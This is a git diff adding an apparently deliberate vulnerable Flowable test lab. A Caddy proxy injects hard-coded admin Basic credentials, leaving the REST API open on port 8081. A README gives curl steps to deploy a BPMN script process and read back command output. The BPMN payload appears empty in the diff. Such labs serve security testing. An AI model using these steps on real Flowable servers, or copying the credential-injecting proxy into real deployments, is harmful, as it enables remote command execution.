diff --git a/flowable/exposed_ui/Caddyfile b/flowable/exposed_ui/Caddyfile new file mode 100644 index 00000000..a5808bf7 --- /dev/null +++ b/flowable/exposed_ui/Caddyfile @@ -0,0 +1,5 @@ +:8081 { + reverse_proxy flowable:8080 { + header_up Authorization "Basic cmVzdC1hZG1pbjp0ZXN0" + } +} \ No newline at end of file diff --git a/flowable/exposed_ui/README.md b/flowable/exposed_ui/README.md new file mode 100644 index 00000000..5f9bdcc2 --- /dev/null +++ b/flowable/exposed_ui/README.md @@ -0,0 +1,22 @@ +# Setup secure and vulnerable Flowable instances +```bash +docker compose up +``` +test secure instance with this URL: http://localhost:8080/flowable-rest/service/repository/deployments +test vulnerable instance with this URL: http://localhost:8081/flowable-rest/service/repository/deployments + +# How to Exploit the Exposed UI (on Vulnerable Instance) +```bash +curl -X POST \ + 'http://localhost:8081/flowable-rest/service/repository/deployments' \ + -H 'Content-Type: multipart/form-data' \ + -F 'file=@jsScript.bpmn' + +curl -X POST \ + 'http://localhost:8081/flowable-rest/service/runtime/process-instances' \ + -H 'Content-Type: application/json' \ + -d '{ + "processDefinitionKey": "jsScriptProcess" + }' +``` +Look for the `"variables":[{"name":"commandOutput","type":"string","value":"` at output of the last command. \ No newline at end of file diff --git a/flowable/exposed_ui/docker-compose.yml b/flowable/exposed_ui/docker-compose.yml new file mode 100644 index 00000000..7a7ec456 --- /dev/null +++ b/flowable/exposed_ui/docker-compose.yml @@ -0,0 +1,26 @@ +version: '3' + +services: + flowable: + image: flowable/flowable-rest + container_name: flowable-rest + ports: + - "8080:8080" + networks: + - flowable-network + + caddy: + image: caddy:2.8.4 + container_name: caddy-proxy + ports: + - "8081:8081" + volumes: + - ./Caddyfile:/etc/caddy/Caddyfile + networks: + - flowable-network + depends_on: + - flowable + +networks: + flowable-network: + driver: bridge \ No newline at end of file diff --git a/flowable/exposed_ui/jsScript.bpmn b/flowable/exposed_ui/jsScript.bpmn new file mode 100644 index 00000000..0ec2779e --- /dev/null +++ b/flowable/exposed_ui/jsScript.bpmn @@ -0,0 +1,30 @@ + + + + + + + + + + + + + +